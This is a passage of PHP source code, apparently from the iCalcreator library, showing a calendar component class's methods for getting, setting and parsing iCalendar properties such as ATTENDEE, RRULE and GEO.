      return FALSE;
    }
    else
      return TRUE;
  }
/**
 * get component property value/params
 *
 * if property has multiply values, consequtive function calls are needed
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $propName, optional
 * @param int @propix, optional, if specific property is wanted in case of multiply occurences
 * @param bool $inclParam=FALSE
 * @param bool $specform=FALSE
 * @return mixed
 */
  function getProperty( $propName=FALSE, $propix=FALSE, $inclParam=FALSE, $specform=FALSE ) {
    if( 'GEOLOCATION' == strtoupper( $propName )) {
      $content = $this->getProperty( 'LOCATION' );
      $content = ( !empty( $content )) ? $content.' ' : '';
      if(( FALSE === ( $geo     = $this->getProperty( 'GEO' ))) || empty( $geo ))
        return FALSE;
      if( 0.0 < $geo['latitude'] )
        $sign   = '+';
      else
        $sign   = ( 0.0 > $geo['latitude'] ) ? '-' : '';
      $content .= $sign.sprintf( "%09.6f", abs( $geo['latitude'] ));   // sprintf && lpad && float && sign !"#¤%&/(
      $content  = rtrim( rtrim( $content, '0' ), '.' );
      if( 0.0 < $geo['longitude'] )
        $sign   = '+';
      else
       $sign   = ( 0.0 > $geo['longitude'] ) ? '-' : '';
      return $content.$sign.sprintf( '%8.6f', abs( $geo['longitude'] )).'/';   // sprintf && lpad && float && sign !"#¤%&/(
    }
    if( $this->_notExistProp( $propName )) return FALSE;
    $propName = ( $propName ) ? strtoupper( $propName ) : 'X-PROP';
    if( in_array( $propName, array( 'ATTACH',   'ATTENDEE', 'CATEGORIES', 'COMMENT',   'CONTACT', 'DESCRIPTION',    'EXDATE', 'EXRULE',
                                    'FREEBUSY', 'RDATE',    'RELATED-TO', 'RESOURCES', 'RRULE',   'REQUEST-STATUS', 'TZNAME', 'X-PROP'  ))) {
      if( !$propix )
        $propix = ( isset( $this->propix[$propName] )) ? $this->propix[$propName] + 2 : 1;
      $this->propix[$propName] = --$propix;
    }
    switch( $propName ) {
      case 'ACTION':
        if( isset( $this->action['value'] )) return ( $inclParam ) ? $this->action : $this->action['value'];
        break;
      case 'ATTACH':
        $ak = ( is_array( $this->attach )) ? array_keys( $this->attach ) : array();
        while( is_array( $this->attach ) && !isset( $this->attach[$propix] ) && ( 0 < count( $this->attach )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->attach[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->attach[$propix] : $this->attach[$propix]['value'];
        break;
      case 'ATTENDEE':
        $ak = ( is_array( $this->attendee )) ? array_keys( $this->attendee ) : array();
        while( is_array( $this->attendee ) && !isset( $this->attendee[$propix] ) && ( 0 < count( $this->attendee )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->attendee[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->attendee[$propix] : $this->attendee[$propix]['value'];
        break;
      case 'CATEGORIES':
        $ak = ( is_array( $this->categories )) ? array_keys( $this->categories ) : array();
        while( is_array( $this->categories ) && !isset( $this->categories[$propix] ) && ( 0 < count( $this->categories )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->categories[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->categories[$propix] : $this->categories[$propix]['value'];
        break;
      case 'CLASS':
        if( isset( $this->class['value'] )) return ( $inclParam ) ? $this->class : $this->class['value'];
        break;
      case 'COMMENT':
        $ak = ( is_array( $this->comment )) ? array_keys( $this->comment ) : array();
        while( is_array( $this->comment ) && !isset( $this->comment[$propix] ) && ( 0 < count( $this->comment )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->comment[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->comment[$propix] : $this->comment[$propix]['value'];
        break;
      case 'COMPLETED':
        if( isset( $this->completed['value'] )) return ( $inclParam ) ? $this->completed : $this->completed['value'];
        break;
      case 'CONTACT':
        $ak = ( is_array( $this->contact )) ? array_keys( $this->contact ) : array();
        while( is_array( $this->contact ) && !isset( $this->contact[$propix] ) && ( 0 < count( $this->contact )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->contact[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->contact[$propix] : $this->contact[$propix]['value'];
        break;
      case 'CREATED':
        if( isset( $this->created['value'] )) return ( $inclParam ) ? $this->created : $this->created['value'];
        break;
      case 'DESCRIPTION':
        $ak = ( is_array( $this->description )) ? array_keys( $this->description ) : array();
        while( is_array( $this->description ) && !isset( $this->description[$propix] ) && ( 0 < count( $this->description )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->description[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->description[$propix] : $this->description[$propix]['value'];
        break;
      case 'DTEND':
        if( isset( $this->dtend['value'] )) return ( $inclParam ) ? $this->dtend : $this->dtend['value'];
        break;
      case 'DTSTAMP':
        if( in_array( $this->objName, array( 'valarm', 'vtimezone', 'standard', 'daylight' )))
          return;
        if( !isset( $this->dtstamp['value'] ))
          $this->_makeDtstamp();
        return ( $inclParam ) ? $this->dtstamp : $this->dtstamp['value'];
        break;
      case 'DTSTART':
        if( isset( $this->dtstart['value'] )) return ( $inclParam ) ? $this->dtstart : $this->dtstart['value'];
        break;
      case 'DUE':
        if( isset( $this->due['value'] )) return ( $inclParam ) ? $this->due : $this->due['value'];
        break;
      case 'DURATION':
        if( ! isset( $this->duration['value'] )) return FALSE;
        $value = ( $specform && isset( $this->dtstart['value'] ) && isset( $this->duration['value'] )) ? iCalUtilityFunctions::_duration2date( $this->dtstart['value'], $this->duration['value'] ) : $this->duration['value'];
        return ( $inclParam ) ? array( 'value' => $value, 'params' =>  $this->duration['params'] ) : $value;
        break;
      case 'EXDATE':
        $ak = ( is_array( $this->exdate )) ? array_keys( $this->exdate ) : array();
        while( is_array( $this->exdate ) && !isset( $this->exdate[$propix] ) && ( 0 < count( $this->exdate )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->exdate[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->exdate[$propix] : $this->exdate[$propix]['value'];
        break;
      case 'EXRULE':
        $ak = ( is_array( $this->exrule )) ? array_keys( $this->exrule ) : array();
        while( is_array( $this->exrule ) && !isset( $this->exrule[$propix] ) && ( 0 < count( $this->exrule )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->exrule[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->exrule[$propix] : $this->exrule[$propix]['value'];
        break;
      case 'FREEBUSY':
        $ak = ( is_array( $this->freebusy )) ? array_keys( $this->freebusy ) : array();
        while( is_array( $this->freebusy ) && !isset( $this->freebusy[$propix] ) && ( 0 < count( $this->freebusy )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->freebusy[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->freebusy[$propix] : $this->freebusy[$propix]['value'];
        break;
      case 'GEO':
        if( isset( $this->geo['value'] )) return ( $inclParam ) ? $this->geo : $this->geo['value'];
        break;
      case 'LAST-MODIFIED':
        if( isset( $this->lastmodified['value'] )) return ( $inclParam ) ? $this->lastmodified : $this->lastmodified['value'];
        break;
      case 'LOCATION':
        if( isset( $this->location['value'] )) return ( $inclParam ) ? $this->location : $this->location['value'];
        break;
      case 'ORGANIZER':
        if( isset( $this->organizer['value'] )) return ( $inclParam ) ? $this->organizer : $this->organizer['value'];
        break;
      case 'PERCENT-COMPLETE':
        if( isset( $this->percentcomplete['value'] )) return ( $inclParam ) ? $this->percentcomplete : $this->percentcomplete['value'];
        break;
      case 'PRIORITY':
        if( isset( $this->priority['value'] )) return ( $inclParam ) ? $this->priority : $this->priority['value'];
        break;
      case 'RDATE':
        $ak = ( is_array( $this->rdate )) ? array_keys( $this->rdate ) : array();
        while( is_array( $this->rdate ) && !isset( $this->rdate[$propix] ) && ( 0 < count( $this->rdate )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->rdate[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->rdate[$propix] : $this->rdate[$propix]['value'];
        break;
      case 'RECURRENCE-ID':
        if( isset( $this->recurrenceid['value'] )) return ( $inclParam ) ? $this->recurrenceid : $this->recurrenceid['value'];
        break;
      case 'RELATED-TO':
        $ak = ( is_array( $this->relatedto )) ? array_keys( $this->relatedto ) : array();
        while( is_array( $this->relatedto ) && !isset( $this->relatedto[$propix] ) && ( 0 < count( $this->relatedto )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->relatedto[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->relatedto[$propix] : $this->relatedto[$propix]['value'];
        break;
      case 'REPEAT':
        if( isset( $this->repeat['value'] )) return ( $inclParam ) ? $this->repeat : $this->repeat['value'];
        break;
      case 'REQUEST-STATUS':
        $ak = ( is_array( $this->requeststatus )) ? array_keys( $this->requeststatus ) : array();
        while( is_array( $this->requeststatus ) && !isset( $this->requeststatus[$propix] ) && ( 0 < count( $this->requeststatus )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->requeststatus[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->requeststatus[$propix] : $this->requeststatus[$propix]['value'];
        break;
      case 'RESOURCES':
        $ak = ( is_array( $this->resources )) ? array_keys( $this->resources ) : array();
        while( is_array( $this->resources ) && !isset( $this->resources[$propix] ) && ( 0 < count( $this->resources )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->resources[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->resources[$propix] : $this->resources[$propix]['value'];
        break;
      case 'RRULE':
        $ak = ( is_array( $this->rrule )) ? array_keys( $this->rrule ) : array();
        while( is_array( $this->rrule ) && !isset( $this->rrule[$propix] ) && ( 0 < count( $this->rrule )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->rrule[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->rrule[$propix] : $this->rrule[$propix]['value'];
        break;
      case 'SEQUENCE':
        if( isset( $this->sequence['value'] )) return ( $inclParam ) ? $this->sequence : $this->sequence['value'];
        break;
      case 'STATUS':
        if( isset( $this->status['value'] )) return ( $inclParam ) ? $this->status : $this->status['value'];
        break;
      case 'SUMMARY':
        if( isset( $this->summary['value'] )) return ( $inclParam ) ? $this->summary : $this->summary['value'];
        break;
      case 'TRANSP':
        if( isset( $this->transp['value'] )) return ( $inclParam ) ? $this->transp : $this->transp['value'];
        break;
      case 'TRIGGER':
        if( isset( $this->trigger['value'] )) return ( $inclParam ) ? $this->trigger : $this->trigger['value'];
        break;
      case 'TZID':
        if( isset( $this->tzid['value'] )) return ( $inclParam ) ? $this->tzid : $this->tzid['value'];
        break;
      case 'TZNAME':
        $ak = ( is_array( $this->tzname )) ? array_keys( $this->tzname ) : array();
        while( is_array( $this->tzname ) && !isset( $this->tzname[$propix] ) && ( 0 < count( $this->tzname )) && ( $propix < end( $ak )))
          $propix++;
        $this->propix[$propName] = $propix;
        if( !isset( $this->tzname[$propix] )) { unset( $this->propix[$propName] ); return FALSE; }
        return ( $inclParam ) ? $this->tzname[$propix] : $this->tzname[$propix]['value'];
        break;
      case 'TZOFFSETFROM':
        if( isset( $this->tzoffsetfrom['value'] )) return ( $inclParam ) ? $this->tzoffsetfrom : $this->tzoffsetfrom['value'];
        break;
      case 'TZOFFSETTO':
        if( isset( $this->tzoffsetto['value'] )) return ( $inclParam ) ? $this->tzoffsetto : $this->tzoffsetto['value'];
        break;
      case 'TZURL':
        if( isset( $this->tzurl['value'] )) return ( $inclParam ) ? $this->tzurl : $this->tzurl['value'];
        break;
      case 'UID':
        if( in_array( $this->objName, array( 'valarm', 'vtimezone', 'standard', 'daylight' )))
          return FALSE;
        if( empty( $this->uid['value'] ))
          $this->_makeuid();
        return ( $inclParam ) ? $this->uid : $this->uid['value'];
        break;
      case 'URL':
        if( isset( $this->url['value'] )) return ( $inclParam ) ? $this->url : $this->url['value'];
        break;
      default:
        if( $propName != 'X-PROP' ) {
          if( !isset( $this->xprop[$propName] )) return FALSE;
          return ( $inclParam ) ? array( $propName, $this->xprop[$propName] )
                                : array( $propName, $this->xprop[$propName]['value'] );
        }
        else {
          if( empty( $this->xprop )) return FALSE;
          $xpropno = 0;
          foreach( $this->xprop as $xpropkey => $xpropvalue ) {
            if( $propix == $xpropno )
              return ( $inclParam ) ? array( $xpropkey, $this->xprop[$xpropkey] )
                                    : array( $xpropkey, $this->xprop[$xpropkey]['value'] );
            else
              $xpropno++;
          }
          return FALSE; // not found ??
        }
    }
    return FALSE;
  }
/**
 * returns calendar property unique values for 'ATTENDEE', 'CATEGORIES', 'CONTACT', 'RELATED-TO' or 'RESOURCES' and for each, number of occurrence
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.13.4 - 2012-08-07
 * @param string $propName
 * @param array  $output, incremented result array
 */
  function _getProperties( $propName, & $output ) {
    if( empty( $output ))
      $output = array();
    if( !in_array( strtoupper( $propName ), array( 'ATTENDEE', 'CATEGORIES', 'CONTACT', 'RELATED-TO', 'RESOURCES' )))
      return $output;
    while( FALSE !== ( $content = $this->getProperty( $propName ))) {
      if( empty( $content ))
        continue;
      if( is_array( $content )) {
        foreach( $content as $part ) {
          if( FALSE !== strpos( $part, ',' )) {
            $part = explode( ',', $part );
            foreach( $part as $thePart ) {
              $thePart = trim( $thePart );
              if( !empty( $thePart )) {
                if( !isset( $output[$thePart] ))
                  $output[$thePart] = 1;
                else
                  $output[$thePart] += 1;
              }
            }
          }
          else {
            $part = trim( $part );
            if( !isset( $output[$part] ))
              $output[$part] = 1;
            else
              $output[$part] += 1;
          }
        }
      } // end if( is_array( $content ))
      elseif( FALSE !== strpos( $content, ',' )) {
        $content = explode( ',', $content );
        foreach( $content as $thePart ) {
          $thePart = trim( $thePart );
          if( !empty( $thePart )) {
            if( !isset( $output[$thePart] ))
              $output[$thePart] = 1;
            else
              $output[$thePart] += 1;
          }
        }
      } // end elseif( FALSE !== strpos( $content, ',' ))
      else {
        $content = trim( $content );
        if( !empty( $content )) {
          if( !isset( $output[$content] ))
            $output[$content] = 1;
          else
            $output[$content] += 1;
        }
      }
    }
    ksort( $output );
  }
/**
 * general component property setting
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-11-05
 * @param mixed $args variable number of function arguments,
 *                    first argument is ALWAYS component name,
 *                    second ALWAYS component value!
 * @return void
 */
  function setProperty() {
    $numargs    = func_num_args();
    if( 1 > $numargs ) return FALSE;
    $arglist    = func_get_args();
    if( $this->_notExistProp( $arglist[0] )) return FALSE;
    if( !$this->getConfig( 'allowEmpty' ) && ( !isset( $arglist[1] ) || empty( $arglist[1] )))
      return FALSE;
    $arglist[0] = strtoupper( $arglist[0] );
    for( $argix=$numargs; $argix < 12; $argix++ ) {
      if( !isset( $arglist[$argix] ))
        $arglist[$argix] = null;
    }
    switch( $arglist[0] ) {
      case 'ACTION':
        return $this->setAction(          $arglist[1], $arglist[2] );
      case 'ATTACH':
        return $this->setAttach(          $arglist[1], $arglist[2], $arglist[3] );
      case 'ATTENDEE':
        return $this->setAttendee(        $arglist[1], $arglist[2], $arglist[3] );
      case 'CATEGORIES':
        return $this->setCategories(      $arglist[1], $arglist[2], $arglist[3] );
      case 'CLASS':
        return $this->setClass(           $arglist[1], $arglist[2] );
      case 'COMMENT':
        return $this->setComment(         $arglist[1], $arglist[2], $arglist[3] );
      case 'COMPLETED':
        return $this->setCompleted(       $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7] );
      case 'CONTACT':
        return $this->setContact(         $arglist[1], $arglist[2], $arglist[3] );
      case 'CREATED':
        return $this->setCreated(         $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7] );
      case 'DESCRIPTION':
        return $this->setDescription(     $arglist[1], $arglist[2], $arglist[3] );
      case 'DTEND':
        return $this->setDtend(           $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7], $arglist[8] );
      case 'DTSTAMP':
        return $this->setDtstamp(         $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7] );
      case 'DTSTART':
        return $this->setDtstart(         $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7], $arglist[8] );
      case 'DUE':
        return $this->setDue(             $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7], $arglist[8] );
      case 'DURATION':
        return $this->setDuration(        $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6] );
      case 'EXDATE':
        return $this->setExdate(          $arglist[1], $arglist[2], $arglist[3] );
      case 'EXRULE':
        return $this->setExrule(          $arglist[1], $arglist[2], $arglist[3] );
      case 'FREEBUSY':
        return $this->setFreebusy(        $arglist[1], $arglist[2], $arglist[3], $arglist[4] );
      case 'GEO':
        return $this->setGeo(             $arglist[1], $arglist[2], $arglist[3] );
      case 'LAST-MODIFIED':
        return $this->setLastModified(    $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7] );
      case 'LOCATION':
        return $this->setLocation(        $arglist[1], $arglist[2] );
      case 'ORGANIZER':
        return $this->setOrganizer(       $arglist[1], $arglist[2] );
      case 'PERCENT-COMPLETE':
        return $this->setPercentComplete( $arglist[1], $arglist[2] );
      case 'PRIORITY':
        return $this->setPriority(        $arglist[1], $arglist[2] );
      case 'RDATE':
        return $this->setRdate(           $arglist[1], $arglist[2], $arglist[3] );
      case 'RECURRENCE-ID':
       return $this->setRecurrenceid(     $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7], $arglist[8] );
      case 'RELATED-TO':
        return $this->setRelatedTo(       $arglist[1], $arglist[2], $arglist[3] );
      case 'REPEAT':
        return $this->setRepeat(          $arglist[1], $arglist[2] );
      case 'REQUEST-STATUS':
        return $this->setRequestStatus(   $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5] );
      case 'RESOURCES':
        return $this->setResources(       $arglist[1], $arglist[2], $arglist[3] );
      case 'RRULE':
        return $this->setRrule(           $arglist[1], $arglist[2], $arglist[3] );
      case 'SEQUENCE':
        return $this->setSequence(        $arglist[1], $arglist[2] );
      case 'STATUS':
        return $this->setStatus(          $arglist[1], $arglist[2] );
      case 'SUMMARY':
        return $this->setSummary(         $arglist[1], $arglist[2] );
      case 'TRANSP':
        return $this->setTransp(          $arglist[1], $arglist[2] );
      case 'TRIGGER':
        return $this->setTrigger(         $arglist[1], $arglist[2], $arglist[3], $arglist[4], $arglist[5], $arglist[6], $arglist[7], $arglist[8], $arglist[9], $arglist[10], $arglist[11] );
      case 'TZID':
        return $this->setTzid(            $arglist[1], $arglist[2] );
      case 'TZNAME':
        return $this->setTzname(          $arglist[1], $arglist[2], $arglist[3] );
      case 'TZOFFSETFROM':
        return $this->setTzoffsetfrom(    $arglist[1], $arglist[2] );
      case 'TZOFFSETTO':
        return $this->setTzoffsetto(      $arglist[1], $arglist[2] );
      case 'TZURL':
        return $this->setTzurl(           $arglist[1], $arglist[2] );
      case 'UID':
        return $this->setUid(             $arglist[1], $arglist[2] );
      case 'URL':
        return $this->setUrl(             $arglist[1], $arglist[2] );
      default:
        return $this->setXprop(           $arglist[0], $arglist[1], $arglist[2] );
    }
    return FALSE;
  }
/*********************************************************************************/
/**
 * parse component unparsed data into properties
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.26 - 2013-07-02
 * @param mixed $unparsedtext, optional, strict rfc2445 formatted, single property string or array of strings
 * @return bool FALSE if error occurs during parsing
 *
 */
  function parse( $unparsedtext=null ) {
    $nl = $this->getConfig( 'nl' );
    if( !empty( $unparsedtext )) {
      if( is_array( $unparsedtext ))
        $unparsedtext = implode( '\n'.$nl, $unparsedtext );
      $unparsedtext = explode( $nl, iCalUtilityFunctions::convEolChar( $unparsedtext, $nl ));
    }
    elseif( !isset( $this->unparsed ))
      $unparsedtext = array();
    else
      $unparsedtext = $this->unparsed;
            /* skip leading (empty/invalid) lines */
    foreach( $unparsedtext as $lix => $line ) {
      $tst = trim( $line );
      if(( '\n' == $tst ) || empty( $tst ))
        unset( $unparsedtext[$lix] );
      else
        break;
    }
    $this->unparsed = array();
    $comp           = & $this;
    $config         = $this->getConfig();
    $compsync = $subsync = 0;
    foreach ( $unparsedtext as $lix => $line ) {
      if( 'END:VALARM'         == strtoupper( substr( $line, 0, 10 ))) {
        if( 1 != $subsync ) return FALSE;
        $this->components[]     = $comp->copy();
        $subsync--;
      }
      elseif( 'END:DAYLIGHT'   == strtoupper( substr( $line, 0, 12 ))) {
        if( 1 != $subsync ) return FALSE;
        $this->components[]     = $comp->copy();
        $subsync--;
      }
      elseif( 'END:STANDARD'   == strtoupper( substr( $line, 0, 12 ))) {
        if( 1 != $subsync ) return FALSE;
        array_unshift( $this->components, $comp->copy());
        $subsync--;
      }
      elseif( 'END:'           == strtoupper( substr( $line, 0, 4 ))) { // end:<component>
        if( 1 != $compsync ) return FALSE;
        if( 0 < $subsync )
          $this->components[]   = $comp->copy();
        $compsync--;
        break;                       /* skip trailing empty lines */
      }
      elseif( 'BEGIN:VALARM'   == strtoupper( substr( $line, 0, 12 ))) {
        $comp = new valarm( $config);
        $subsync++;
      }
      elseif( 'BEGIN:STANDARD' == strtoupper( substr( $line, 0, 14 ))) {
        $comp = new vtimezone( 'standard', $config );
        $subsync++;
      }
      elseif( 'BEGIN:DAYLIGHT' == strtoupper( substr( $line, 0, 14 ))) {
        $comp = new vtimezone( 'daylight', $config );
        $subsync++;
      }
      elseif( 'BEGIN:'         == strtoupper( substr( $line, 0, 6 )))  // begin:<component>
        $compsync++;
      else
        $comp->unparsed[]       = $line;
    }
    if( 0 < $subsync )
      $this->components[]   = $comp->copy();
    unset( $config );
            /* concatenate property values spread over several lines */
    $lastix    = -1;
    $propnames = array( 'action', 'attach', 'attendee', 'categories', 'comment', 'completed'
                      , 'contact', 'class', 'created', 'description', 'dtend', 'dtstart'
                      , 'dtstamp', 'due', 'duration', 'exdate', 'exrule', 'freebusy', 'geo'
                      , 'last-modified', 'location', 'organizer', 'percent-complete'
                      , 'priority', 'rdate', 'recurrence-id', 'related-to', 'repeat'
                      , 'request-status', 'resources', 'rrule', 'sequence', 'status'
                      , 'summary', 'transp', 'trigger', 'tzid', 'tzname', 'tzoffsetfrom'
                      , 'tzoffsetto', 'tzurl', 'uid', 'url', 'x-' );
    $proprows  = array();
    for( $i = 0; $i < count( $this->unparsed ); $i++ ) { // concatenate lines
      $line = rtrim( $this->unparsed[$i], $nl );
      while( isset( $this->unparsed[$i+1] ) && !empty( $this->unparsed[$i+1] ) && ( ' ' == $this->unparsed[$i+1]{0} ))
        $line .= rtrim( substr( $this->unparsed[++$i], 1 ), $nl );
      $proprows[] = $line;
    }
            /* parse each property 'line' */
    $paramMStz   = array( 'utc-', 'utc+', 'gmt-', 'gmt+' );
    $paramProto3 = array( 'fax:', 'cid:', 'sms:', 'tel:', 'urn:' );
    $paramProto4 = array( 'crid:', 'news:', 'pres:' );
    foreach( $proprows as $line ) {
      if( '\n' == substr( $line, -2 ))
        $line = substr( $line, 0, -2 );
            /* get propname */
      $propname = null;
      $cix = 0;
      while( isset( $line[$cix] )) {
        if( in_array( $line[$cix], array( ':', ';' )))
          break;
        else
          $propname .= $line[$cix];
        $cix++;
      }
      if(( 'x-' == substr( $propname, 0, 2 )) || ( 'X-' == substr( $propname, 0, 2 ))) {
        $propname2 = $propname;
        $propname  = 'X-';
      }
      if( !in_array( strtolower( $propname ), $propnames )) // skip non standard property names
        continue;
            /* rest of the line is opt.params and value */
      $line = substr( $line, $cix );
            /* separate attributes from value */
      $attr         = array();
      $attrix       = -1;
      $clen         = strlen( $line );
      $WithinQuotes = FALSE;
      $cix          = 0;
      while( FALSE !== substr( $line, $cix, 1 )) {
        if(                       (  ':' == $line[$cix] )                         &&
                                  ( substr( $line,$cix,     3 )  != '://' )       &&
           ( !in_array( strtolower( substr( $line,$cix - 6, 4 )), $paramMStz ))   &&
           ( !in_array( strtolower( substr( $line,$cix - 3, 4 )), $paramProto3 )) &&
           ( !in_array( strtolower( substr( $line,$cix - 4, 5 )), $paramProto4 )) &&
                      ( strtolower( substr( $line,$cix - 6, 7 )) != 'mailto:' )   &&
             !$WithinQuotes ) {
          $attrEnd = TRUE;
          if(( $cix < ( $clen - 4 )) &&
               ctype_digit( substr( $line, $cix+1, 4 ))) { // an URI with a (4pos) portnr??
            for( $c2ix = $cix; 3 < $c2ix; $c2ix-- ) {
              if( '://' == substr( $line, $c2ix - 2, 3 )) {
                $attrEnd = FALSE;
                break; // an URI with a portnr!!
              }
            }
          }
          if( $attrEnd) {
            $line = substr( $line, ( $cix + 1 ));
            break;
          }
          $cix++;
        }
        if( '"' == $line[$cix] )
          $WithinQuotes = ( FALSE === $WithinQuotes ) ? TRUE : FALSE;
        if( ';' == $line[$cix] )
          $attr[++$attrix] = null;
        else
          $attr[$attrix] .= $line[$cix];
        $cix++;
      }
            /* make attributes in array format */
      $propattr = array();
      foreach( $attr as $attribute ) {
        $attrsplit = explode( '=', $attribute, 2 );
        if( 1 < count( $attrsplit ))
          $propattr[$attrsplit[0]] = $attrsplit[1];
        else
          $propattr[] = $attribute;
      }
            /* call setProperty( $propname.. . */
      switch( strtoupper( $propname )) {
        case 'ATTENDEE':
          foreach( $propattr as $pix => $attr ) {
            if( !in_array( strtoupper( $pix ), array( 'MEMBER', 'DELEGATED-TO', 'DELEGATED-FROM' )))
              continue;
            $attr2 = explode( ',', $attr );
              if( 1 < count( $attr2 ))
                $propattr[$pix] = $attr2;
          }
          $this->setProperty( $propname, $line, $propattr );
          break;
        case 'CATEGORIES':
        case 'RESOURCES':
          if( FALSE !== strpos( $line, ',' )) {
            $content  = array( 0 => '' );
            $cix = $lix = 0;
            while( FALSE !== substr( $line, $lix, 1 )) {
              if(( ',' == $line[$lix] ) && ( "\\" != $line[( $lix - 1 )])) {
                $cix++;
                $content[$cix] = '';
              }
              else
                $content[$cix] .= $line[$lix];
              $lix++;
            }
            if( 1 < count( $content )) {
              $content = array_values( $content );
              foreach( $content as $cix => $contentPart )
                $content[$cix] = iCalUtilityFunctions::_strunrep( $contentPart );
              $this->setProperty( $propname, $content, $propattr );
              break;
            }
            else
              $line = reset( $content );
          }
        case 'COMMENT':
        case 'CONTACT':
        case 'DESCRIPTION':
        case 'LOCATION':
        case 'SUMMARY':
          if( empty( $line ))
            $propattr = null;
          $this->setProperty( $propname, iCalUtilityFunctions::_strunrep( $line ), $propattr );
          break;
        case 'REQUEST-STATUS':
          $values    = explode( ';', $line, 3 );
          $values[1] = ( !isset( $values[1] )) ? null : iCalUtilityFunctions::_strunrep( $values[1] );
          $values[2] = ( !isset( $values[2] )) ? null : iCalUtilityFunctions::_strunrep( $values[2] );
          $this->setProperty( $propname
                            , $values[0]  // statcode
                            , $values[1]  // statdesc
                            , $values[2]  // extdata
                            , $propattr );
          break;
        case 'FREEBUSY':
          $fbtype = ( isset( $propattr['FBTYPE'] )) ? $propattr['FBTYPE'] : ''; // force setting default, if missing
          unset( $propattr['FBTYPE'] );
          $values = explode( ',', $line );
          foreach( $values as $vix => $value ) {
            $value2 = explode( '/', $value );
            if( 1 < count( $value2 ))
              $values[$vix] = $value2;
          }
          $this->setProperty( $propname, $fbtype, $values, $propattr );
          break;
        case 'GEO':
          $value = explode( ';', $line, 2 );
          if( 2 > count( $value ))
            $value[1] = null;
          $this->setProperty( $propname, $value[0], $value[1], $propattr );
          break;
        case 'EXDATE':
          $values = ( !empty( $line )) ? explode( ',', $line ) : null;
          $this->setProperty( $propname, $values, $propattr );
          break;
        case 'RDATE':
          if( empty( $line )) {
            $this->setProperty( $propname, $line, $propattr );
            break;
          }
          $values = explode( ',', $line );
          foreach( $values as $vix => $value ) {
            $value2 = explode( '/', $value );
            if( 1 < count( $value2 ))
              $values[$vix] = $value2;
          }
          $this->setProperty( $propname, $values, $propattr );
          break;
        case 'EXRULE':
        case 'RRULE':
          $values = explode( ';', $line );
          $recur = array();
          foreach( $values as $value2 ) {
            if( empty( $value2 ))
              continue; // ;-char in ending position ???
            $value3 = explode( '=', $value2, 2 );
            $rulelabel = strtoupper( $value3[0] );
            switch( $rulelabel ) {
              case 'BYDAY': {
                $value4 = explode( ',', $value3[1] );
                if( 1 < count( $value4 )) {
                  foreach( $value4 as $v5ix => $value5 ) {
                    $value6 = array();
                    $dayno = $dayname = null;
                    $value5 = trim( (string) $value5 );
                    if(( ctype_alpha( substr( $value5, -1 ))) &&
                       ( ctype_alpha( substr( $value5, -2, 1 )))) {
                      $dayname = substr( $value5, -2, 2 );
                      if( 2 < strlen( $value5 ))
                        $dayno = substr( $value5, 0, ( strlen( $value5 ) - 2 ));
                    }
